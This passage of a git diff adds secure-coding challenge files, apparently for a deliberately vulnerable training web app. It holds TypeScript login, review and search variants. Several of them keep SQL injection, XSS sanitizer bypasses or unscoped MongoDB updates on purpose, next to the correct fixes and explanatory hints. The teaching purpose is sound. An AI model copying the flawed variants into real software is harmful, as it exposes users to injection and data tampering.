} + }) + +} + +export function close (exitCode: number | undefined) { + if (server) { + server.close() + } + if (exitCode !== undefined) { + process.exit(exitCode) + } +} \ No newline at end of file diff --git a/data/static/codefixes/exposedMetricsChallenge_3_correct.ts b/data/static/codefixes/exposedMetricsChallenge_3_correct.ts new file mode 100644 index 00000000000..a554133df73 --- /dev/null +++ b/data/static/codefixes/exposedMetricsChallenge_3_correct.ts @@ -0,0 +1,42 @@ +/* Serve metrics */ +let metricsUpdateLoop +const Metrics = metrics.observeMetrics() +app.get('/metrics', security.isAdmin(), metrics.serveMetrics()) +errorhandler.title = `${config.get('application.name')} (Express ${utils.version('express')})` + +const registerWebsocketEvents = require('./lib/startup/registerWebsocketEvents') +const customizeApplication = require('./lib/startup/customizeApplication') + +export async function start (readyCallback: Function) { + const datacreatorEnd = startupGauge.startTimer({ task: 'datacreator' }) + await sequelize.sync({ force: true }) + await datacreator() + datacreatorEnd() + const port = process.env.PORT ?? config.get('server.port') + process.env.BASE_PATH = process.env.BASE_PATH ?? config.get('server.basePath') + + metricsUpdateLoop = Metrics.updateLoop() + + server.listen(port, () => { + logger.info(colors.cyan(`Server listening on port ${colors.bold(port)}`)) + startupGauge.set({ task: 'ready' }, (Date.now() - startTime) / 1000) + if (process.env.BASE_PATH !== '') { + logger.info(colors.cyan(`Server using proxy base path ${colors.bold(process.env.BASE_PATH)} for redirects`)) + } + registerWebsocketEvents(server) + if (readyCallback) { + readyCallback() + } + }) + +} + +export function close (exitCode: number | undefined) { + if (server) { + clearInterval(metricsUpdateLoop) + server.close() + } + if (exitCode !== undefined) { + process.exit(exitCode) + } +} \ No newline at end of file diff --git a/data/static/codefixes/forgedReviewChallenge.info.yml b/data/static/codefixes/forgedReviewChallenge.info.yml new file mode 100644 index 00000000000..d10c24ed725 --- /dev/null +++ b/data/static/codefixes/forgedReviewChallenge.info.yml @@ -0,0 +1,12 @@ +fixes: + - id: 1 + explanation: "This solution would reassign an updated review to the last editor, but it would not prevent to change other user's reviews in the first place." + - id: 2 + explanation: 'Setting the author on server-side based on the user retrieved from the authentication token in the HTTP request is the right call. It prevents users from just passing any author email they like along with the request.' + - id: 3 + explanation: "Removing the option to update multiple documents at once is a good idea and might actually help against another flaw in this code. But it does not fix the problem of allowing users to update other user's reviews." +hints: + - "To find the culprit lines, you need to understand how MongoDB handles updating records." + - "Did you notice that the developers retrieved a reference to the user but never actually use it for anything? This might be part of the problem." + - "Another problematic line you need to select, is actually missing something that ties the user to the review." + diff --git a/data/static/codefixes/forgedReviewChallenge_1.ts b/data/static/codefixes/forgedReviewChallenge_1.ts new file mode 100644 index 00000000000..9c69b1fa97e --- /dev/null +++ b/data/static/codefixes/forgedReviewChallenge_1.ts @@ -0,0 +1,15 @@ +module.exports = function productReviews () { + return (req: Request, res: Response, next: NextFunction) => { + const user = security.authenticatedUsers.from(req) + db.reviews.update( + { _id: req.body.id }, + { $set: { message: req.body.message, author: user.data.email } }, + { multi: true } + ).then( + (result: { modified: number, original: Array<{ author: any }> }) => { + res.json(result) + }, (err: unknown) => { + res.status(500).json(err) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/forgedReviewChallenge_2_correct.ts b/data/static/codefixes/forgedReviewChallenge_2_correct.ts new file mode 100644 index 00000000000..20050ee21de --- /dev/null +++ b/data/static/codefixes/forgedReviewChallenge_2_correct.ts @@ -0,0 +1,15 @@ +module.exports = function productReviews () { + return (req: Request, res: Response, next: NextFunction) => { + const user = security.authenticatedUsers.from(req) + db.reviews.update( + { _id: req.body.id, author: user.data.email }, + { $set: { message: req.body.message } }, + { multi: true } + ).then( + (result: { modified: number, original: Array<{ author: any }> }) => { + res.json(result) + }, (err: unknown) => { + res.status(500).json(err) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/forgedReviewChallenge_3.ts b/data/static/codefixes/forgedReviewChallenge_3.ts new file mode 100644 index 00000000000..6f7eb15938f --- /dev/null +++ b/data/static/codefixes/forgedReviewChallenge_3.ts @@ -0,0 +1,14 @@ +module.exports = function productReviews () { + return (req: Request, res: Response, next: NextFunction) => { + const user = security.authenticatedUsers.from(req) + db.reviews.update( + { _id: req.body.id }, + { $set: { message: req.body.message } } + ).then( + (result: { modified: number, original: Array<{ author: any }> }) => { + res.json(result) + }, (err: unknown) => { + res.status(500).json(err) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/localXssChallenge.info.yml b/data/static/codefixes/localXssChallenge.info.yml new file mode 100644 index 00000000000..3ef6eefacd2 --- /dev/null +++ b/data/static/codefixes/localXssChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: 'Using bypassSecurityTrustResourceUrl() instead of bypassSecurityTrustHtml() changes the context for which input sanitization is bypassed. This switch might only accidentally keep XSS prevention intact, but the new URL context does not make any sense here.' + - id: 2 + explanation: "Removing the bypass of sanitization entirely is the best way to fix this vulnerability. Fiddling with Angular's built-in sanitization was entirely unnecessary as the user input for a text search should not be expected to contain HTML that needs to be rendered but merely plain text." + - id: 3 + explanation: 'Using bypassSecurityTrustScript() instead of bypassSecurityTrustHtml() changes the context for which input sanitization is bypassed. If at all, this switch might only accidentally keep XSS prevention intact. The context where the parameter is used is not a script either, so this switch would be nonsensical.' + - id: 4 + explanation: 'Using bypassSecurityTrustStyle() instead of bypassSecurityTrustHtml() changes the context for which input sanitization is bypassed. If at all, this switch might only accidentally keep XSS prevention intact. The context where the parameter is used is not CSS, making this switch totally pointless.' +hints: + - "Try to identify where (potentially malicious) user input is coming into the code." + - "What is the code doing with the user input other than using it to filter the data source?" + - "Look for a line where the developers fiddled with Angular's built-in security model." diff --git a/data/static/codefixes/localXssChallenge_1.ts b/data/static/codefixes/localXssChallenge_1.ts new file mode 100644 index 00000000000..85ad5efc878 --- /dev/null +++ b/data/static/codefixes/localXssChallenge_1.ts @@ -0,0 +1,19 @@ +filterTable () { + let queryParam: string = this.route.snapshot.queryParams.q + if (queryParam) { + queryParam = queryParam.trim() + this.dataSource.filter = queryParam.toLowerCase() + this.searchValue = this.sanitizer.bypassSecurityTrustResourceUrl(queryParam) + this.gridDataSource.subscribe((result: any) => { + if (result.length === 0) { + this.emptyState = true + } else { + this.emptyState = false + } + }) + } else { + this.dataSource.filter = '' + this.searchValue = undefined + this.emptyState = false + } + } \ No newline at end of file diff --git a/data/static/codefixes/localXssChallenge_2_correct.ts b/data/static/codefixes/localXssChallenge_2_correct.ts new file mode 100644 index 00000000000..d2ccfbde82e --- /dev/null +++ b/data/static/codefixes/localXssChallenge_2_correct.ts @@ -0,0 +1,19 @@ +filterTable () { + let queryParam: string = this.route.snapshot.queryParams.q + if (queryParam) { + queryParam = queryParam.trim() + this.dataSource.filter = queryParam.toLowerCase() + this.searchValue = queryParam + this.gridDataSource.subscribe((result: any) => { + if (result.length === 0) { + this.emptyState = true + } else { + this.emptyState = false + } + }) + } else { + this.dataSource.filter = '' + this.searchValue = undefined + this.emptyState = false + } + } \ No newline at end of file diff --git a/data/static/codefixes/localXssChallenge_3.ts b/data/static/codefixes/localXssChallenge_3.ts new file mode 100644 index 00000000000..58fbc41eaee --- /dev/null +++ b/data/static/codefixes/localXssChallenge_3.ts @@ -0,0 +1,19 @@ +filterTable () { + let queryParam: string = this.route.snapshot.queryParams.q + if (queryParam) { + queryParam = queryParam.trim() + this.dataSource.filter = queryParam.toLowerCase() + this.searchValue = this.sanitizer.bypassSecurityTrustScript(queryParam) + this.gridDataSource.subscribe((result: any) => { + if (result.length === 0) { + this.emptyState = true + } else { + this.emptyState = false + } + }) + } else { + this.dataSource.filter = '' + this.searchValue = undefined + this.emptyState = false + } + } \ No newline at end of file diff --git a/data/static/codefixes/localXssChallenge_4.ts b/data/static/codefixes/localXssChallenge_4.ts new file mode 100644 index 00000000000..a7a3071f640 --- /dev/null +++ b/data/static/codefixes/localXssChallenge_4.ts @@ -0,0 +1,19 @@ +filterTable () { + let queryParam: string = this.route.snapshot.queryParams.q + if (queryParam) { + queryParam = queryParam.trim() + this.dataSource.filter = queryParam.toLowerCase() + this.searchValue = this.sanitizer.bypassSecurityTrustStyle(queryParam) + this.gridDataSource.subscribe((result: any) => { + if (result.length === 0) { + this.emptyState = true + } else { + this.emptyState = false + } + }) + } else { + this.dataSource.filter = '' + this.searchValue = undefined + this.emptyState = false + } + } \ No newline at end of file diff --git a/data/static/codefixes/loginAdminChallenge.info.yml b/data/static/codefixes/loginAdminChallenge.info.yml new file mode 100644 index 00000000000..3a61abae918 --- /dev/null +++ b/data/static/codefixes/loginAdminChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: "Trying to prevent any injection attacks with a custom-built blocklist mechanism is doomed to fail. It might work for some simpler attack payloads but an attacker with time and skills can likely bypass it at some point." + - id: 2 + explanation: 'This fix unfortunately goes only half the way to using the binding mechanism of Sequelize. Such a Prepared Statement still concatenated from user input, is still wide open for SQL Injection attacks.' + - id: 3 + explanation: 'This fix uses the binding mechanism of Sequelize to create the equivalent of a Prepared Statement, which is great. Unfortunately this fix also introduces a critical functional bug into the authentication process.' + - id: 4 + explanation: 'Using the built-in binding (or replacement) mechanism of Sequelize is equivalent to creating a Prepared Statement. This prevents tampering with the query syntax through malicious user input as it is "set in stone" before the criteria parameter is inserted.' +hints: + - "Try to identify any variables in the code that might contain arbitrary user input." + - "Follow the user input through the function call and try to spot places where it might be abused for malicious purposes." + - "Can you spot a place where a SQL query is being cobbled together in an unsafe way?" diff --git a/data/static/codefixes/loginAdminChallenge_1.ts b/data/static/codefixes/loginAdminChallenge_1.ts new file mode 100644 index 00000000000..7595fe42a0e --- /dev/null +++ b/data/static/codefixes/loginAdminChallenge_1.ts @@ -0,0 +1,41 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + if (req.body.email.match(/.*['-;].*/) || req.body.password.match(/.*['-;].*/)) { + res.status(451).send(res.__('SQL Injection detected.')) + } + models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, { model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginAdminChallenge_2.ts b/data/static/codefixes/loginAdminChallenge_2.ts new file mode 100644 index 00000000000..1c37b71d7e6 --- /dev/null +++ b/data/static/codefixes/loginAdminChallenge_2.ts @@ -0,0 +1,39 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = $1 AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, + { bind: [ req.body.email ], model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginAdminChallenge_3.ts b/data/static/codefixes/loginAdminChallenge_3.ts new file mode 100644 index 00000000000..71983546712 --- /dev/null +++ b/data/static/codefixes/loginAdminChallenge_3.ts @@ -0,0 +1,39 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = $1 AND password = $2 AND deletedAt IS NULL`, + { bind: [ req.body.email, req.body.password ], model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginAdminChallenge_4_correct.ts b/data/static/codefixes/loginAdminChallenge_4_correct.ts new file mode 100644 index 00000000000..83ba17408fa --- /dev/null +++ b/data/static/codefixes/loginAdminChallenge_4_correct.ts @@ -0,0 +1,39 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = $1 AND password = $2 AND deletedAt IS NULL`, + { bind: [ req.body.email, security.hash(req.body.password) ], model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginBenderChallenge.info.yml b/data/static/codefixes/loginBenderChallenge.info.yml new file mode 100644 index 00000000000..1d918278395 --- /dev/null +++ b/data/static/codefixes/loginBenderChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: "Trying to prevent any injection attacks with a custom-built blocklist mechanism is doomed to fail. It might work for some simpler attack payloads but an attacker with time and skills can likely bypass it at some point." + - id: 2 + explanation: 'Using the built-in binding (or replacement) mechanism of Sequelize is equivalent to creating a Prepared Statement. This prevents tampering with the query syntax through malicious user input as it is "set in stone" before the criteria parameter is inserted.' + - id: 3 + explanation: 'This fix unfortunately goes only half the way to using the replacement mechanism of Sequelize. Such a Prepared Statement still concatenated from user input, is still wide open for SQL Injection attacks.' + - id: 4 + explanation: 'Turning off the "plain" flag will let Sequelize return all matching rows instead of just the first one. This neither makes sense from a functional point of view in a login function, not could it prevent SQL Injection attacks.' +hints: + - "Try to identify any variables in the code that might contain arbitrary user input." + - "Follow the user input through the function call and try to spot places where it might be abused for malicious purposes." + - "Can you spot a place where a SQL query is being cobbled together in an unsafe way?" diff --git a/data/static/codefixes/loginBenderChallenge_1.ts b/data/static/codefixes/loginBenderChallenge_1.ts new file mode 100644 index 00000000000..7595fe42a0e --- /dev/null +++ b/data/static/codefixes/loginBenderChallenge_1.ts @@ -0,0 +1,41 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + if (req.body.email.match(/.*['-;].*/) || req.body.password.match(/.*['-;].*/)) { + res.status(451).send(res.__('SQL Injection detected.')) + } + models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, { model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginBenderChallenge_2_correct.ts b/data/static/codefixes/loginBenderChallenge_2_correct.ts new file mode 100644 index 00000000000..57628926730 --- /dev/null +++ b/data/static/codefixes/loginBenderChallenge_2_correct.ts @@ -0,0 +1,39 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = $mail AND password = $pass AND deletedAt IS NULL`, + { bind: { mail: req.body.email, pass: security.hash(req.body.password) }, model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginBenderChallenge_3.ts b/data/static/codefixes/loginBenderChallenge_3.ts new file mode 100644 index 00000000000..312440bc1fe --- /dev/null +++ b/data/static/codefixes/loginBenderChallenge_3.ts @@ -0,0 +1,39 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = :mail AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, + { replacements: { mail: req.body.email }, model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginBenderChallenge_4.ts b/data/static/codefixes/loginBenderChallenge_4.ts new file mode 100644 index 00000000000..bb28fbab418 --- /dev/null +++ b/data/static/codefixes/loginBenderChallenge_4.ts @@ -0,0 +1,38 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, { model: models.User, plain: false }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginJimChallenge.info.yml b/data/static/codefixes/loginJimChallenge.info.yml new file mode 100644 index 00000000000..88aecd9773f --- /dev/null +++ b/data/static/codefixes/loginJimChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: 'Using the built-in binding (or replacement) mechanism of Sequelize is equivalent to creating a Prepared Statement. This prevents tampering with the query syntax through malicious user input as it is "set in stone" before the criteria parameter is inserted.' + - id: 2 + explanation: 'Turning off the "plain" flag will let Sequelize return all matching rows instead of just the first one. This neither makes sense from a functional point of view in a login function, not could it prevent SQL Injection attacks.' + - id: 3 + explanation: 'This fix uses the binding mechanism of Sequelize to create the equivalent of a Prepared Statement, which is great. Unfortunately this fix also introduces a critical functional bug into the authentication process.' + - id: 4 + explanation: "Trying to prevent any injection attacks with a custom-built blocklist mechanism is doomed to fail. It might work for some simpler attack payloads but an attacker with time and skills can likely bypass it at some point." +hints: + - "Try to identify any variables in the code that might contain arbitrary user input." + - "Follow the user input through the function call and try to spot places where it might be abused for malicious purposes." + - "Can you spot a place where a SQL query is being cobbled together in an unsafe way?" diff --git a/data/static/codefixes/loginJimChallenge_1_correct.ts b/data/static/codefixes/loginJimChallenge_1_correct.ts new file mode 100644 index 00000000000..83ba17408fa --- /dev/null +++ b/data/static/codefixes/loginJimChallenge_1_correct.ts @@ -0,0 +1,39 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = $1 AND password = $2 AND deletedAt IS NULL`, + { bind: [ req.body.email, security.hash(req.body.password) ], model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginJimChallenge_2.ts b/data/static/codefixes/loginJimChallenge_2.ts new file mode 100644 index 00000000000..bb28fbab418 --- /dev/null +++ b/data/static/codefixes/loginJimChallenge_2.ts @@ -0,0 +1,38 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, { model: models.User, plain: false }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginJimChallenge_3.ts b/data/static/codefixes/loginJimChallenge_3.ts new file mode 100644 index 00000000000..4a443e0f722 --- /dev/null +++ b/data/static/codefixes/loginJimChallenge_3.ts @@ -0,0 +1,39 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + models.sequelize.query(`SELECT * FROM Users WHERE email = ? AND password = ? AND deletedAt IS NULL`, + { replacements: [ req.body.email, req.body.password ], model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/loginJimChallenge_4.ts b/data/static/codefixes/loginJimChallenge_4.ts new file mode 100644 index 00000000000..7595fe42a0e --- /dev/null +++ b/data/static/codefixes/loginJimChallenge_4.ts @@ -0,0 +1,41 @@ +import {BasketModel} from "../../../models/basket"; + +module.exports = function login () { + function afterLogin (user: { data: User, bid: number }, res: Response, next: NextFunction) { + BasketModel.findOrCreate({ where: { UserId: user.data.id } }) + .then(([basket]: [BasketModel, boolean]) => { + const token = security.authorize(user) + user.bid = basket.id // keep track of original basket + security.authenticatedUsers.put(token, user) + res.json({ authentication: { token, bid: basket.id, umail: user.data.email } }) + }).catch((error: Error) => { + next(error) + }) + } + + return (req: Request, res: Response, next: NextFunction) => { + if (req.body.email.match(/.*['-;].*/) || req.body.password.match(/.*['-;].*/)) { + res.status(451).send(res.__('SQL Injection detected.')) + } + models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, { model: models.User, plain: true }) + .then((authenticatedUser: { data: User }) => { + const user = utils.queryResultToJson(authenticatedUser) + if (user.data?.id && user.data.totpSecret !== '') { + res.status(401).json({ + status: 'totp_token_required', + data: { + tmpToken: security.authorize({ + userId: user.data.id, + type: 'password_valid_needs_second_factor_token' + }) + } + }) + } else if (user.data?.id) { + afterLogin(user, res, next) + } else { + res.status(401).send(res.__('Invalid email or password.')) + } + }).catch((error: Error) => { + next(error) + }) + } \ No newline at end of file diff --git a/data/static/codefixes/noSqlReviewsChallenge.info.yml b/data/static/codefixes/noSqlReviewsChallenge.info.yml new file mode 100644 index 00000000000..9c215f33605 --- /dev/null +++ b/data/static/codefixes/noSqlReviewsChallenge.info.yml @@ -0,0 +1,12 @@ +fixes: + - id: 1 + explanation: 'Removing the option to update multiple documents at once combined with avoiding a "not-equal"-based injection is insufficient against any attacker with at least moderate MongoDB query knowledge.' + - id: 2 + explanation: 'Removing the option to update multiple documents at once is definitely necessary. But it is unfortunately not a sufficient fix, as an attacker might still be able to "add back" the multi-update behavior.' + - id: 3 + explanation: 'Removing the option to update multiple documents at once combined with only allowing plain strings in the ID parameter is the right call. This will prevent any attacker from injecting their own JSON payload to manipulate the query in their favor.' +hints: + - "To find the culprit lines, you need to understand how MongoDB handles updating records." + - "Does this query really need to allow updating more than one review at once?" + - "Consider the query parameters under control of the attacker and try to find the one where they might inject some query-altering command." + diff --git a/data/static/codefixes/noSqlReviewsChallenge_1.ts b/data/static/codefixes/noSqlReviewsChallenge_1.ts new file mode 100644 index 00000000000..58e13043aad --- /dev/null +++ 